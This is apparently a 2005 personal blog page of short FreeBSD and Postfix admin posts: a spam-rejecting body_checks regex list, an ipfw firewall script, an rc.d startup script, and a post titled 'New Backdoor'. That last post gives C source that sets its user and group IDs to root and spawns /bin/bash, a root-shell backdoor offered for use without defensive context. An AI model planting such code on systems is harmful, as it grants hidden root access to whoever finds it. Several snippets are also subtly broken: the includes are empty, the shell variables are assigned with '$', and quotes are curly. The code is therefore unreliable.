TriBaL HardCoRE !

March 12, 2005

Reject Spam EmaiL

Filed under: Security

Postfix body checks Howto
——————————————————————————–

Postfix body checks .. Reject Spam Mail

Example Error:

reject: body Microsoft Consumer from kellylake96-79.cyberbeach.net[216.104.96.79];
from= to=
proto=ESMTP helo=:
We Dont Accept Mail From Spammers - Go Away

How To Do It!

Postfix config dir is /usr/local/etc/postfix/

cd /usr/local/etc/postfix

Open the main.cf file in vi or ee

add this line to the file

body_checks = regexp:/usr/local/etc/postfix/body_checks

exit save changes.

open a new file in vi or ee named body_checks

Add this content to the file use your imagination :)

### start file body_checks

# Banned Words Phrases

/Microsoft Consumer/ REJECT We Dont Accept Mail From Spammers - Go Away
/viagra/ REJECT We Dont Accept Mail From Spammers - Go Away
/Penis enlargement/ REJECT We Dont Accept Mail From Spammers - Go Away
/get your free/ REJECT We Dont Accept Mail From Spammers - Go Away

#### end file

Do postfix reload

Cheers

Original by Talon Edited By Pascal and mobi @ Unix Dot Org Dot au

Scriptting ipfw

Filed under: Security

#!/bin/sh
# Firewall-Script / FreeBSD

# Variablen
$ipfw=”/sbin/ipfw -qf”
$tcpmssd=”/usr/local/bin/tcpmssd”

# Interfaces
## Netzwerkkarte
if1=”ed0″
## DSL-Tunnel
if2=”tun0″

# tcpmssd starten
$tcpmssd -m 1492 -p 1234

# Regeln definieren
$ipfw flush
$ipfw add 51 divert 1234 tcp from any to any via $if2 setup
$ipfw add 100 deny all from any to 127.0.0.0/8 in recv $if2
$ipfw add 200 deny all from 10.0.0.0/8 to any in recv $if2
$ipfw add 300 deny all from 169.254.0.0/16 to any in recv $if2
$ipfw add 400 deny all from 172.16.0.0/12 to any in recv $if2
$ipfw add 500 deny all from 192.168.0.0/16 to any in recv $if2
$ipfw add 1000 allow ip from any to any

Contoh Script rc.d on FreeBSD

Filed under: Security

rc.d example script startup shutdown

#!/bin/sh
case “$1″ in
start)

/usr/local/sbin/some-app

echo “Starting Script”

;;
stop)

killall -15 some-app

echo “Terminating Script”

;;
*)
echo “Usage: `basename $0` {start|stop}” >&2
exit 64
;;
esac
exit 0

New Backdoor

Filed under: Security

Source mobi.c

#include
#include
#include
int main()
{
setuid(0);
setgid(0);
system(”/bin/bash”);
return 0;
}






















Get free blog up and running in minutes with Blogsome | Theme designs available here